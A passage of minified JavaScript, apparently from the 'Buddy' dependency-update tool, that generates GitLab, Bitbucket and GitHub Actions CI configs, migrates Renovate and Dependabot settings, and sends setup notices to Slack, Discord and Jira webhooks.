${JSON.stringify(q.minimumReleaseAge)}`);if(q.schedule!==void 0)Z.push(`${X}: schedule ${JSON.stringify(q.schedule)} must be rewritten as a cron expression`);if(!Boolean(F.matchPackages||F.matchDepTypes||F.matchFiles||F.matchUpdateTypes||F.matchEcosystems||F.matchCurrentVersion)){if(Object.keys(F).length>0)Z.push(`${X}: no matcher could be converted, so the rule was dropped rather than applied to every package`);return}Q.push(F)}),{rules:Q,incompatible:Z,warnings:z}}function w($){if(typeof $==="string")return[$];if(!Array.isArray($))return[];return $.filter((Q)=>typeof Q==="string"&&Q.trim().length>0)}var v0={update:"0 */2 * * *",dashboard:"0 9 * * 1,3,5"};function q$($={}){let Q=["# Buddy \u2014 dependency updates for GitLab","#","# GitLab schedules live in the project UI, not in this file:","# Settings \u2192 CI/CD \u2192 Pipeline schedules \u2192 New schedule","#","# Create two schedules, each with a variable:",`# BUDDY_JOB=update cron: ${v0.update}`,`# BUDDY_JOB=dashboard cron: ${v0.dashboard}`,"#","# Set GITLAB_TOKEN as a masked CI/CD variable with `api` scope. The","# ambient CI_JOB_TOKEN cannot open merge requests.","",".buddy:"," image: oven/bun:latest"," before_script:"," - bun install --frozen-lockfile","","buddy:update:"," extends: .buddy"," rules:",' - if: $CI_PIPELINE_SOURCE == "schedule" && $BUDDY_JOB == "update"',' - if: $CI_PIPELINE_SOURCE == "web" && $BUDDY_JOB == "update"'," script:"," - bunx @buddysh/buddy update --verbose","","buddy:dashboard:"," extends: .buddy"," rules:",' - if: $CI_PIPELINE_SOURCE == "schedule" && $BUDDY_JOB == "dashboard"',' - if: $CI_PIPELINE_SOURCE == "web" && $BUDDY_JOB == "dashboard"'," script:"," - bunx @buddysh/buddy dashboard --pin","","buddy:check:"," extends: .buddy"," rules:"," # Runs on merge request events so a ticked rebase box is picked up"," # without waiting for the next schedule.",' - if: $CI_PIPELINE_SOURCE == "merge_request_event"'," script:"," - bunx @buddysh/buddy update-check --verbose"];if($.review)Q.push("","buddy:review:"," extends: .buddy"," rules:",' - if: $CI_PIPELINE_SOURCE == "merge_request_event"'," script:"," - bunx @buddysh/buddy review $CI_MERGE_REQUEST_IID --verbose");return`${Q.join(`
|
|
72
|
+
`)}
|
|
73
|
+
`}function X$($={}){let Q=["# Buddy \u2014 dependency updates for Bitbucket Cloud","#","# Bitbucket schedules live in the UI, not in this file:","# Repository settings \u2192 Pipelines \u2192 Schedules","#","# Point a schedule at each custom pipeline below.","#","# Set BITBUCKET_TOKEN as a secured repository variable. It needs","# pull-request write and repository write.","","image: oven/bun:latest","","definitions:"," steps:"," - step: &install"," name: Install"," caches:"," - node"," script:"," - bun install --frozen-lockfile","","pipelines:"," custom:"," buddy-update:"," - step:"," name: Dependency updates"," script:"," - bun install --frozen-lockfile"," - bunx @buddysh/buddy update --verbose",""," buddy-dashboard:"," - step:"," name: Dependency dashboard"," script:"," - bun install --frozen-lockfile"," - bunx @buddysh/buddy dashboard --pin",""," pull-requests:"," '**':"," - step:"," name: Buddy check"," script:"," - bun install --frozen-lockfile"," - bunx @buddysh/buddy update-check --verbose"];if($.review)Q.push(" # Reviews the pull request this pipeline is running for."," - bunx @buddysh/buddy review $BITBUCKET_PR_ID --verbose");return`${Q.join(`
|
|
74
|
+
`)}
|
|
75
|
+
`}function y0($,Q={}){switch($){case"gitlab":return{path:".gitlab-ci.yml",content:q$(Q)};case"bitbucket":return{path:"bitbucket-pipelines.yml",content:X$(Q)};default:return null}}var b=K$(F$);class G${async detectExistingTools(){let $=[];if(W.existsSync("renovate.json")||W.existsSync(".renovaterc")||W.existsSync(".renovaterc.json"))$.push({name:"renovate",configFile:this.findRenovateConfig(),active:!0});if(W.existsSync(".github/dependabot.yml")||W.existsSync(".github/dependabot.yaml"))$.push({name:"dependabot",configFile:W.existsSync(".github/dependabot.yml")?".github/dependabot.yml":".github/dependabot.yaml",active:!0});if(W.existsSync("package.json"))try{if(JSON.parse(W.readFileSync("package.json","utf8")).renovate)$.push({name:"renovate",configFile:"package.json",active:!0})}catch{}return $}findRenovateConfig(){let $=["renovate.json",".renovaterc",".renovaterc.json",".renovaterc.js"];for(let Q of $)if(W.existsSync(Q))return Q;return"package.json"}async migrateFromRenovate($){let Q={source:"renovate",configFound:!1,migratedSettings:{},warnings:[],incompatibleFeatures:[],confidence:"medium"};try{let Z={};if($==="package.json")Z=JSON.parse(W.readFileSync("package.json","utf8")).renovate||{};else{let z=W.readFileSync($,"utf8");Z=JSON.parse(z)}if(Q.configFound=!0,Z.schedule)Q.migratedSettings.schedule=this.convertRenovateSchedule(Z.schedule);if(Z.packageRules)Q.migratedSettings.packages=this.convertRenovatePackageRules(Z.packageRules),Q.incompatibleFeatures.push(...this.lastRuleConversion.incompatible),Q.warnings.push(...this.lastRuleConversion.warnings);if(Z.ignoreDeps)Q.migratedSettings.ignore=Z.ignoreDeps;if(Z.automerge!==void 0)Q.migratedSettings.autoMerge={enabled:Z.automerge,strategy:Z.automergeStrategy||"squash"};if(Z.assignees)Q.migratedSettings.assignees=Z.assignees;if(Z.reviewers)Q.migratedSettings.reviewers=Z.reviewers;if(Z.extends)Q.incompatibleFeatures.push("extends: Renovate preset extensions not directly supported");if(Z.regexManagers)Q.incompatibleFeatures.push("regexManagers: Custom regex managers not supported");Q.confidence=Q.incompatibleFeatures.length>1?"low":"high"}catch(Z){Q.warnings.push(`Failed to parse Renovate config: ${Z instanceof Error?Z.message:"Unknown error"}`)}return Q}async migrateFromDependabot($){let Q={source:"dependabot",configFound:!1,migratedSettings:{},warnings:[],incompatibleFeatures:[],confidence:"medium"};try{let z=W.readFileSync($,"utf8").split(`
|
|
76
|
+
`),J="",Y=[];for(let q of z){let F=q.trim();if(F.includes("interval:")){let X=F.match(/interval:\s*['"]*([^'"\s]+)['"]*/);if(X)J=X[1]}if(F.includes("- dependency-name:")){let X=F.match(/dependency-name:\s*['"]*([^'"\s]+)['"]*/);if(X)Y.push(X[1])}}if(Q.configFound=!0,J)Q.migratedSettings.schedule=this.convertDependabotSchedule(J);if(Y.length>0)Q.migratedSettings.ignore=Y;Q.warnings.push("Dependabot configuration is limited. Consider customizing Buddy settings.")}catch(Z){Q.warnings.push(`Failed to parse Dependabot config: ${Z instanceof Error?Z.message:"Unknown error"}`)}return Q}convertRenovateSchedule($){if($.includes("every weekend"))return{preset:"minimal"};if($.includes("before 6am"))return{preset:"high-frequency"};return{preset:"standard"}}lastRuleConversion={incompatible:[],warnings:[]};convertRenovatePackageRules($){let{rules:Q,incompatible:Z,warnings:z}=S0($);this.lastRuleConversion={incompatible:Z,warnings:z};let J=[],Y=[];for(let q of Q)if(q.enabled===!1&&q.matchPackages?.length&&Object.keys(q).every((X)=>X==="enabled"||X==="matchPackages"))J.push(...q.matchPackages);else Y.push(q);return{rules:Y,ignore:J}}convertDependabotSchedule($){switch($){case"daily":return{preset:"high-frequency"};case"weekly":return{preset:"standard"};case"monthly":return{preset:"minimal"};default:return{preset:"standard"}}}async generateMigrationReport($){let Q=`\uD83D\uDCCB Configuration Migration Report
|
|
77
|
+
|
|
78
|
+
`;for(let Z of $){if(Q+=`## ${Z.source.toUpperCase()} Migration
|
|
79
|
+
`,Q+=`- **Config Found**: ${Z.configFound?"\u2705 Yes":"\u274C No"}
|
|
80
|
+
`,Q+=`- **Confidence**: ${this.getConfidenceEmoji(Z.confidence)} ${Z.confidence}
|
|
81
|
+
`,Object.keys(Z.migratedSettings).length>0)Q+=`- **Migrated Settings**: ${Object.keys(Z.migratedSettings).join(", ")}
|
|
82
|
+
`;if(Z.warnings.length>0)Q+=`- **Warnings**: ${Z.warnings.length}
|
|
83
|
+
`;if(Z.incompatibleFeatures.length>0)Q+=`- **Incompatible Features**: ${Z.incompatibleFeatures.length}
|
|
84
|
+
`;Q+=`
|
|
85
|
+
`}return Q}getConfidenceEmoji($){switch($){case"high":return"\uD83D\uDFE2";case"medium":return"\uD83D\uDFE1";case"low":return"\uD83D\uDD34";default:return"\u26AA"}}}async function U$($,Q){if($.type!=="webhook")throw Error(`Unknown hook action type: ${String($.type)}`);let Z=await v($.url,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({event:Q.step,repository:`${Q.repository.owner}/${Q.repository.name}`,...$.body})});if(!Z.ok)throw Error(`Webhook returned ${Z.status} ${Z.statusText}`)}function H$($,Q){let Z=(Y)=>{return G().warn(`\u26A0\uFE0F Ignoring plugin ${Q}: ${Y}`),null};if(!$||typeof $!=="object")return Z("it is not a JSON object");let z=$;if(typeof z.name!=="string"||!z.name)return Z("it has no name");if(!Array.isArray(z.triggers)||z.triggers.length===0)return Z("it declares no triggers");if(!Array.isArray(z.hooks)||z.hooks.length===0)return Z("it declares no hooks");let J=[];for(let Y of z.hooks){if(!Y||typeof Y.name!=="string")return Z("a hook has no name");if(typeof Y.handler==="string")return Z(`hook "${Y.name}" declares a handler as text. JSON cannot carry a function \u2014 `+'use "action": { "type": "webhook", "url": "..." } instead.');let q=Y.action;if(!q||q.type!=="webhook"||typeof q.url!=="string"||!q.url)return Z(`hook "${Y.name}" needs an action with a type of "webhook" and a url`);J.push({name:Y.name,priority:typeof Y.priority==="number"?Y.priority:0,async:Y.async!==!1,action:q})}return{name:z.name,version:typeof z.version==="string"?z.version:"0.0.0",triggers:z.triggers,hooks:J,configuration:z.configuration??{},enabled:z.enabled!==!1}}class V${plugins=[];context=null;async discoverPlugins(){let $=[];if(await this.hasSlackWebhook())$.push(this.createSlackPlugin());if(await this.hasJiraIntegration())$.push(this.createJiraPlugin());if(await this.hasDiscordWebhook())$.push(this.createDiscordPlugin());if(W.existsSync(".buddy/plugins/")){let Q=await this.loadCustomPlugins();$.push(...Q)}return $}async loadPlugin($){this.plugins.push($),G().info(`\uD83D\uDD0C Loaded plugin: ${$.name} v${$.version}`)}async executePluginHooks($){if(!this.context)return;let Z=this.plugins.filter((z)=>z.enabled&&z.triggers.some((J)=>J.event===$.event)).flatMap((z)=>z.hooks).sort((z,J)=>J.priority-z.priority);for(let z of Z)try{if(typeof z.handler==="function")if(z.async)await z.handler(this.context);else z.handler(this.context);else if(z.action)await U$(z.action,this.context);else{G().warn(`\u26A0\uFE0F Hook ${z.name} declares neither a handler nor an action; skipping`);continue}G().info(`\u2705 Executed hook: ${z.name}`)}catch(J){G().info(`\u274C Hook failed: ${z.name} - ${J instanceof Error?J.message:"Unknown error"}`)}}setContext($){this.context=$}async hasSlackWebhook(){return E.env.SLACK_WEBHOOK_URL!==void 0&&E.env.SLACK_WEBHOOK_URL!==""||W.existsSync(".buddy/slack-webhook")}async hasJiraIntegration(){return E.env.JIRA_API_TOKEN!==void 0&&E.env.JIRA_API_TOKEN!==""||W.existsSync(".buddy/jira-config.json")}async hasDiscordWebhook(){return E.env.DISCORD_WEBHOOK_URL!==void 0&&E.env.DISCORD_WEBHOOK_URL!==""||W.existsSync(".buddy/discord-webhook")}createSlackPlugin(){return{name:"slack-integration",version:"1.0.0",enabled:!0,triggers:[{event:"setup_complete"}],hooks:[{name:"notify-slack",priority:10,async:!0,handler:async($)=>{await this.sendSlackNotification($)}}],configuration:{}}}createJiraPlugin(){return{name:"jira-integration",version:"1.0.0",enabled:!0,triggers:[{event:"setup_complete"}],hooks:[{name:"create-jira-ticket",priority:5,async:!0,handler:async($)=>{await this.createJiraTicket($)}}],configuration:{}}}createDiscordPlugin(){return{name:"discord-integration",version:"1.0.0",enabled:!0,triggers:[{event:"setup_complete"}],hooks:[{name:"notify-discord",priority:8,async:!0,handler:async($)=>{await this.sendDiscordNotification($)}}],configuration:{}}}async loadCustomPlugins(){let $=[];try{let Q=W.readdirSync(".buddy/plugins/").filter((Z)=>Z.endsWith(".json"));for(let Z of Q)try{let z=H$(JSON.parse(W.readFileSync(r.join(".buddy/plugins/",Z),"utf8")),Z);if(z)$.push(z)}catch(z){G().info(`\u26A0\uFE0F Failed to load plugin ${Z}: ${z instanceof Error?z.message:"Unknown error"}`)}}catch{}return $}readIntegrationFile($){try{return W.readFileSync($,"utf8").trim()||null}catch{return null}}readJiraConfigFile($){try{let Q=JSON.parse(W.readFileSync($,"utf8"));if(!Q||typeof Q!=="object")return{};return{apiToken:Q.api_token??Q.apiToken,baseUrl:Q.base_url??Q.baseUrl,projectKey:Q.project_key??Q.projectKey}}catch{return{}}}async sendSlackNotification($){let Q=E.env.SLACK_WEBHOOK_URL||this.readIntegrationFile(".buddy/slack-webhook");if(!Q)return;let Z={text:"\uD83E\uDD16 Buddy Setup Complete!",blocks:[{type:"section",text:{type:"mrkdwn",text:`\u2705 *Buddy Setup Complete*
|
|
86
|
+
\uD83D\uDD17 Repository: \`${$.repository.owner}/${$.repository.name}\`
|
|
87
|
+
\uD83D\uDCCA Project Type: \`${$.analysis.type}\`
|
|
88
|
+
\u2699\uFE0F Package Manager: \`${$.analysis.packageManager}\``}}]};try{if((await v(Q,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(Z)})).ok)G().info("\u2705 Slack notification sent successfully");else G().info("\u26A0\uFE0F Failed to send Slack notification")}catch(z){G().info(`\u274C Slack notification error: ${z instanceof Error?z.message:"Unknown error"}`)}}async sendDiscordNotification($){let Q=E.env.DISCORD_WEBHOOK_URL||this.readIntegrationFile(".buddy/discord-webhook");if(!Q)return;let Z={embeds:[{title:"\uD83E\uDD16 Buddy Setup Complete!",color:65280,fields:[{name:"Repository",value:`${$.repository.owner}/${$.repository.name}`,inline:!0},{name:"Project Type",value:$.analysis.type,inline:!0},{name:"Package Manager",value:$.analysis.packageManager,inline:!0}],timestamp:new Date().toISOString()}]};try{if((await v(Q,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(Z)})).ok)G().info("\u2705 Discord notification sent successfully");else G().info("\u26A0\uFE0F Failed to send Discord notification")}catch(z){G().info(`\u274C Discord notification error: ${z instanceof Error?z.message:"Unknown error"}`)}}async createJiraTicket($){let Q=this.readJiraConfigFile(".buddy/jira-config.json"),Z=E.env.JIRA_API_TOKEN||Q.apiToken,z=E.env.JIRA_BASE_URL||Q.baseUrl,J=E.env.JIRA_PROJECT_KEY||Q.projectKey||"BUDDY";if(!Z||!z)return;let Y={fields:{project:{key:J},summary:`Buddy Setup Complete - ${$.repository.owner}/${$.repository.name}`,description:`Buddy has been successfully configured for repository ${$.repository.owner}/${$.repository.name}.
|
|
89
|
+
|
|
90
|
+
Project Type: ${$.analysis.type}
|
|
91
|
+
Package Manager: ${$.analysis.packageManager}
|
|
92
|
+
|
|
93
|
+
Setup completed at: ${new Date().toISOString()}`,issuetype:{name:"Task"}}};try{let q=await v(`${z}/rest/api/3/issue`,{method:"POST",headers:{"Content-Type":"application/json",Authorization:`Bearer ${Z}`},body:JSON.stringify(Y)});if(q.ok){let F=await q.json();G().info(`\u2705 Jira ticket created: ${F.key}`)}else G().info("\u26A0\uFE0F Failed to create Jira ticket")}catch(q){G().info(`\u274C Jira integration error: ${q instanceof Error?q.message:"Unknown error"}`)}}}async function DQ(){let $={success:!0,errors:[],warnings:[],suggestions:[]};try{await b("git rev-parse --git-dir")}catch{return $.success=!1,$.errors.push('Not in a git repository. Run "git init" first.'),$}try{await b("git config user.name"),await b("git config user.email")}catch{$.warnings.push("Git user configuration not found. Consider setting user.name and user.email.")}let Q=".github/workflows";if(W.existsSync(Q)){let Z=W.readdirSync(Q).filter((z)=>z.endsWith(".yml")||z.endsWith(".yaml"));if(Z.length>0){$.warnings.push(`Found ${Z.length} existing workflow(s). Some may conflict with Buddy workflows.`);let z=Z.filter((J)=>J.includes("dependabot")||J.includes("renovate")||J.includes("dependency"));if(z.length>0)$.warnings.push(`Potential conflicts detected with: ${z.join(", ")}`),$.suggestions.push("Consider disabling or removing existing dependency management workflows.")}}try{let{stdout:Z}=await b("bun --version"),z=Z.trim();$.suggestions.push(`Using Bun v${z}`)}catch{try{let{stdout:Z}=await b("node --version"),z=Z.trim();$.warnings.push(`Using Node.js ${z}. Consider using Bun for better performance.`)}catch{$.errors.push("Neither Bun nor Node.js found. Please install Bun."),$.success=!1}}try{await b("gh --version"),$.suggestions.push("GitHub CLI detected. This can help with authentication.")}catch{$.suggestions.push("Install GitHub CLI (gh) for easier authentication setup.")}return $}async function EQ(){let $={type:"unknown",packageManager:"unknown",hasLockFile:!1,hasDependencyFiles:!1,hasGitHubActions:!1,recommendedPreset:"Standard Setup",recommendations:[]};if(W.existsSync("package.json"))try{let J=JSON.parse(W.readFileSync("package.json","utf8"));if(J.workspaces||W.existsSync("lerna.json")||W.existsSync("nx.json"))$.type="monorepo",$.recommendedPreset="High Frequency",$.recommendations.push("Monorepo detected. Consider grouping related packages.");else if(J.main||J.module||J.exports)$.type="library",$.recommendedPreset="Security Focused",$.recommendations.push("Library project detected. Focus on security updates.");else $.type="application",$.recommendedPreset="Standard Setup";if(J.scripts?.test||J.scripts?.ci)$.recommendations.push("Testing scripts found. Consider enabling dry-run mode initially.")}catch{$.recommendations.push("package.json found but could not be parsed.")}if(W.existsSync("bun.lockb"))$.packageManager="bun",$.hasLockFile=!0,$.recommendations.push("Bun detected. Optimal performance expected.");else if(W.existsSync("pnpm-lock.yaml"))$.packageManager="pnpm",$.hasLockFile=!0;else if(W.existsSync("yarn.lock"))$.packageManager="yarn",$.hasLockFile=!0;else if(W.existsSync("package-lock.json"))$.packageManager="npm",$.hasLockFile=!0;else if(W.existsSync("composer.json"))$.packageManager="composer",$.hasLockFile=W.existsSync("composer.lock");let Q=["deps.yaml","deps.yml","dependencies.yaml","dependencies.yml","pkgx.yaml","pkgx.yml"];if($.hasDependencyFiles=Q.some((J)=>W.existsSync(J)),$.hasDependencyFiles)$.recommendations.push("Dependency files detected. Multi-format support enabled.");let Z=W.existsSync("composer.json"),z=W.existsSync("composer.lock");if(Z){if($.recommendations.push("Composer detected. PHP package updates will be included."),!z)$.recommendations.push('Consider running "composer install" to generate composer.lock for better dependency tracking.')}if(W.existsSync(".github/workflows")){let J=W.readdirSync(".github/workflows").filter((Y)=>Y.endsWith(".yml")||Y.endsWith(".yaml"));if($.hasGitHubActions=J.length>0,$.hasGitHubActions)$.recommendations.push(`${J.length} existing workflow(s) found. GitHub Actions updates will be included.`)}if($.type==="monorepo")$.recommendations.push("Consider using package grouping for related dependencies.");if(!$.hasLockFile)$.recommendations.push("No lock file detected. Consider using a package manager with lock files.");return $}function wQ($){return{currentStep:0,totalSteps:$,stepName:"Initializing",completed:[],canResume:!0,startTime:new Date}}function LQ($,Q,Z){if(Z&&$.stepName&&!$.completed.includes($.stepName))$.completed.push($.stepName);if(Q!==$.stepName)$.currentStep++,$.stepName=Q;return $}function IQ($){let Q=Math.min($.currentStep,$.totalSteps),Z=Math.round(Q/$.totalSteps*100),z=Math.max(0,Math.min(20,Math.floor(Z/5))),J="\u2588".repeat(z)+"\u2591".repeat(20-z);if(G().info(`
|
|
94
|
+
\uD83D\uDCCA Setup Progress: ${Z}% [${J}]`),G().info(`\uD83D\uDD04 Current Step: ${$.stepName} (${Q}/${$.totalSteps})`),$.completed.length>0)G().info(`\u2705 Completed: ${$.completed.join(", ")}`)}function j$($){let Q=[[/github\.com[/:](.+?)\/([^/]+?)(?:\.git)?$/,"github"],[/gitlab\.com[/:](.+?)\/([^/]+?)(?:\.git)?$/,"gitlab"],[/bitbucket\.org[/:](.+?)\/([^/]+?)(?:\.git)?$/,"bitbucket"]];for(let[Z,z]of Q){let J=Z.exec($.trim());if(J)return{owner:J[1],name:J[2],provider:z}}return null}async function RQ(){try{let{stdout:$}=await b("git remote get-url origin");return j$($.trim())}catch{return null}}async function AQ($){G().info(`
|
|
95
|
+
\uD83D\uDD11 Personal Access Token Setup Guide:`),G().info(`
|
|
96
|
+
\uD83D\uDCCB Step 1: Create the Token`),G().info("1. Go to https://github.com/settings/tokens"),G().info('2. Click "Generate new token (classic)"'),G().info(`3. Give it a descriptive name (e.g., "buddy-${$.name}")`),G().info("4. Set expiration (recommended: 90 days or custom)"),G().info("5. Select required scopes:"),G().info(" \u2705 repo (Full control of private repositories)"),G().info(" \u2705 workflow (Update GitHub Action workflows)"),G().info('6. Click "Generate token"'),G().info("7. \u26A0\uFE0F Copy the token immediately (you won't see it again!)"),G().info(`
|
|
97
|
+
\uD83D\uDCCB Step 2: Configure the Secret`),G().info("Choose one of these options:"),G().info(`
|
|
98
|
+
\uD83C\uDFE2 Option A: Organization Secret (Recommended for multiple repos)`),G().info(` - Go to: https://github.com/organizations/${$.owner}/settings/secrets/actions`),G().info(' - Click "New organization secret"'),G().info(" - Name: BUDDY_TOKEN"),G().info(" - Value: your_generated_token"),G().info(" - Repository access: Selected repositories or All repositories"),G().info(`
|
|
99
|
+
\uD83D\uDCE6 Option B: Repository Secret (For this repository only)`),G().info(` - Go to: https://github.com/${$.owner}/${$.name}/settings/secrets/actions`),G().info(' - Click "New repository secret"'),G().info(" - Name: BUDDY_TOKEN"),G().info(" - Value: your_generated_token"),G().info(' - Click "Add secret"'),G().info(`
|
|
100
|
+
\uD83D\uDCA1 The workflows will automatically use BUDDY_TOKEN if available, otherwise fall back to GITHUB_TOKEN`)}async function CQ(){G().info(`
|
|
101
|
+
\uD83D\uDD11 GitHub Token Configuration:`),G().info("Buddy can work with:"),G().info(" \u2022 Organization secrets (GITHUB_TOKEN or custom PAT)"),G().info(" \u2022 Repository secrets (custom PAT)"),G().info(" \u2022 Default GITHUB_TOKEN (limited permissions)"),G().info("");let $=await m({message:"How would you like to configure GitHub authentication?",options:[{label:"Use organization/repository secrets",hint:"I have already configured PAT as an organization or repository secret",value:"existing-secret"},{label:"Set up a new Personal Access Token",hint:"Guide me through creating and configuring a new PAT",value:"new-pat"},{label:"Use default GITHUB_TOKEN only",hint:"Limited functionality - workflow updates won't work",value:"default-token"}],initialValue:"existing-secret"});if(typeof $!=="string")return G().info("Using default GITHUB_TOKEN (limited functionality)"),{hasCustomToken:!1,needsGuide:!1};switch($){case"existing-secret":return{hasCustomToken:!0,needsGuide:!1};case"new-pat":return{hasCustomToken:!0,needsGuide:!0};case"default-token":default:return{hasCustomToken:!1,needsGuide:!1}}}async function xQ($){G().info(`
|
|
102
|
+
\uD83D\uDD27 To configure GitHub Actions permissions:`),G().info(`1. Go to your repository settings (https://github.com/${$.owner}/${$.name}/settings/actions)`),G().info('2. Under "Workflow permissions":'),G().info(' \u2705 Select "Read and write permissions"'),G().info(' \u2705 Check "Allow GitHub Actions to create and approve pull requests"'),G().info('3. Click "Save"'),G().info(`4. This allows Buddy to create PRs and update issues.
|
|
103
|
+
`)}function s($,Q){let Z=" ".repeat(Q),z=" ".repeat(Q+2);if(Array.isArray($)){if($.length===0)return"[]";return`[
|
|
104
|
+
${$.map((J)=>`${z}${s(J,Q+2)},`).join(`
|
|
105
|
+
`)}
|
|
106
|
+
${Z}]`}if($&&typeof $==="object"){let J=Object.entries($);if(J.length===0)return"{}";return`{
|
|
107
|
+
${J.map(([Y,q])=>`${z}${Y}: ${s(q,Q+2)},`).join(`
|
|
108
|
+
`)}
|
|
109
|
+
${Z}}`}return typeof $==="string"?`'${$}'`:String($)}function W$($){return($.custom??[]).map(({name:Q,schedule:Z,strategy:z,autoMerge:J})=>({name:Q,schedule:Z,strategy:z,autoMerge:J}))}function M$($){if(!$.autoMerge)return"";return`
|
|
110
|
+
pullRequest: {
|
|
111
|
+
autoMerge: {
|
|
112
|
+
enabled: true,
|
|
113
|
+
strategy: 'squash',
|
|
114
|
+
// The preset asks for auto-merge; this keeps it to the updates it
|
|
115
|
+
// describes. Widen it deliberately rather than by default.
|
|
116
|
+
conditions: ['patch-only'],
|
|
117
|
+
},
|
|
118
|
+
},`}async function hQ($,Q,Z=d0("standard")){let z=`import type { BuddyConfig } from '@buddysh/buddy'
|
|
119
|
+
|
|
120
|
+
const config: BuddyConfig = {
|
|
121
|
+
repository: {
|
|
122
|
+
owner: '${$.owner}',
|
|
123
|
+
name: '${$.name}',
|
|
124
|
+
provider: '${$.provider??"github"}',
|
|
125
|
+
${Q?"// token: process.env.BUDDY_TOKEN,":"// Uses GITHUB_TOKEN by default"}
|
|
126
|
+
},
|
|
127
|
+
dashboard: {
|
|
128
|
+
enabled: true,
|
|
129
|
+
title: 'Dependency Dashboard',
|
|
130
|
+
// issueNumber: undefined, // Auto-generated
|
|
131
|
+
},
|
|
132
|
+
workflows: {
|
|
133
|
+
enabled: true,
|
|
134
|
+
outputDir: '.github/workflows',
|
|
135
|
+
templates: ${s(Z.templates,4)},
|
|
136
|
+
custom: ${s(W$(Z),4)},
|
|
137
|
+
},${M$(Z)}
|
|
138
|
+
packages: {
|
|
139
|
+
strategy: '${Z.strategy}',
|
|
140
|
+
ignore: [
|
|
141
|
+
// Add packages to ignore here
|
|
142
|
+
// Example: '@types/node', 'eslint'
|
|
143
|
+
],
|
|
144
|
+
ignorePaths: [
|
|
145
|
+
// Add file/directory paths to ignore using glob patterns
|
|
146
|
+
// Example: 'packages/test-*/**', '**/*test-envs/**', 'apps/legacy/**'
|
|
147
|
+
],
|
|
148
|
+
},
|
|
149
|
+
verbose: false,
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
export default config
|
|
153
|
+
`,J="buddy.config.ts";W.writeFileSync("buddy.config.ts",z),G().info(`\u2705 Created ${"buddy.config.ts"} with your repository settings.`),G().info("\uD83D\uDCA1 You can edit this file to customize Buddy's behavior."),G().info(`\uD83D\uDD27 The TypeScript config provides better IntelliSense and type safety.
|
|
154
|
+
`)}function _0(){return`
|
|
155
|
+
- name: Setup PHP and Composer (if needed)
|
|
156
|
+
if: \${{ hashFiles('composer.json') != '' }}
|
|
157
|
+
uses: shivammathur/setup-php@v2
|
|
158
|
+
with:
|
|
159
|
+
php-version: '8.4'
|
|
160
|
+
tools: composer
|
|
161
|
+
coverage: none
|
|
162
|
+
|
|
163
|
+
- name: Install Composer dependencies (if needed)
|
|
164
|
+
if: \${{ hashFiles('composer.json') != '' }}
|
|
165
|
+
run: composer install --prefer-dist --optimize-autoloader
|
|
166
|
+
`}var N$="0 4 * * *",O$="0 9 * * 1";function m0($){let Q=new Map,Z=new Map,z=(J,Y,q)=>{if(!J||J==="manual")return;let F=Q.get(J)??[];if(!F.includes(Y))F.push(Y);if(Q.set(J,F),Y==="update"&&q&&!Z.has(J))Z.set(J,q)};z($.schedules.updates,"update",$.strategy);for(let J of $.custom??[])z(J.schedule,"update",J.strategy);return z($.schedules.dashboard,"dashboard"),z(N$,"check"),z(O$,"report"),[...Q].map(([J,Y])=>({cron:J,jobs:Y,...Z.has(J)?{updateStrategy:Z.get(J)}:{}}))}var P$={update:"check for dependency updates",dashboard:"refresh the dependency dashboard",check:"sweep orphaned branches and obsolete pull requests",report:"publish the dependency-health report"};function B$($){return $.map(({cron:Q,jobs:Z})=>[` # ${Z.map((z)=>P$[z]).join(", then ")}`,` - cron: '${Q}'`].join(`
|
|
167
|
+
`)).join(`
|
|
168
|
+
`)}function T$($){if($.length===0)return' echo "\u2139\uFE0F No scheduled jobs are configured"';return[' case "${{ github.event.schedule }}" in',...$.map(({cron:Z,jobs:z,updateStrategy:J})=>[` "${Z}")`,...z.map((Y)=>` echo "run_${Y}=true" >> $GITHUB_OUTPUT`),...J?[` echo "update_strategy=${J}" >> $GITHUB_OUTPUT`]:[]," ;;"].join(`
|
|
169
|
+
`))," esac"].join(`
|
|
170
|
+
`)}function D$($,Q=d0("standard")){let Z=m0(Q);return`name: Buddy
|
|
171
|
+
|
|
172
|
+
on:
|
|
173
|
+
# Rebase checkbox: fires instantly when a PR body is edited (e.g. checkbox ticked).
|
|
174
|
+
# No polling needed \u2014 this replaces the old every-minute cron for rebase detection.
|
|
175
|
+
# Deliberately pull_request, NOT pull_request_target: review runs static
|
|
176
|
+
# analyzers over the checked-out tree, and pull_request_target would run that
|
|
177
|
+
# against a fork's code with write permissions and secrets in scope. The cost
|
|
178
|
+
# is that reviews on fork pull requests need a token with more than the
|
|
179
|
+
# default read-only fork permissions.
|
|
180
|
+
pull_request:
|
|
181
|
+
types: [edited, opened, ready_for_review, synchronize, closed]
|
|
182
|
+
|
|
183
|
+
# Dashboard checkboxes: same idea, fired when the dashboard issue is edited.
|
|
184
|
+
# The determine-jobs step filters to the dashboard issue and ignores the
|
|
185
|
+
# bot's own edits, so unticking a handled box cannot re-trigger the workflow.
|
|
186
|
+
issues:
|
|
187
|
+
types: [edited, opened]
|
|
188
|
+
|
|
189
|
+
# @buddy commands. The guard below terminates in seconds for the
|
|
190
|
+
# overwhelming majority of comments, which never mention the bot, so ordinary
|
|
191
|
+
# discussion costs no meaningful Actions time.
|
|
192
|
+
issue_comment:
|
|
193
|
+
types: [created]
|
|
194
|
+
|
|
195
|
+
pull_request_review_comment:
|
|
196
|
+
types: [created]
|
|
197
|
+
|
|
198
|
+
# Repair a failing run on a buddy pull request.
|
|
199
|
+
workflow_run:
|
|
200
|
+
types: [completed]
|
|
201
|
+
|
|
202
|
+
# Generated from the chosen preset. The matcher in \`determine-jobs\` is built
|
|
203
|
+
# from the same plan, so a cron declared here always has something to run.
|
|
204
|
+
schedule:
|
|
205
|
+
${B$(Z)}
|
|
206
|
+
|
|
207
|
+
workflow_dispatch: # Manual trigger
|
|
208
|
+
inputs:
|
|
209
|
+
job:
|
|
210
|
+
description: Which job to run
|
|
211
|
+
required: false
|
|
212
|
+
default: all
|
|
213
|
+
type: choice
|
|
214
|
+
options:
|
|
215
|
+
- all
|
|
216
|
+
- check
|
|
217
|
+
- update
|
|
218
|
+
- dashboard
|
|
219
|
+
# Update job inputs
|
|
220
|
+
strategy:
|
|
221
|
+
description: Update strategy
|
|
222
|
+
required: false
|
|
223
|
+
default: ${Q.strategy}
|
|
224
|
+
type: choice
|
|
225
|
+
options:
|
|
226
|
+
- all
|
|
227
|
+
- major
|
|
228
|
+
- minor
|
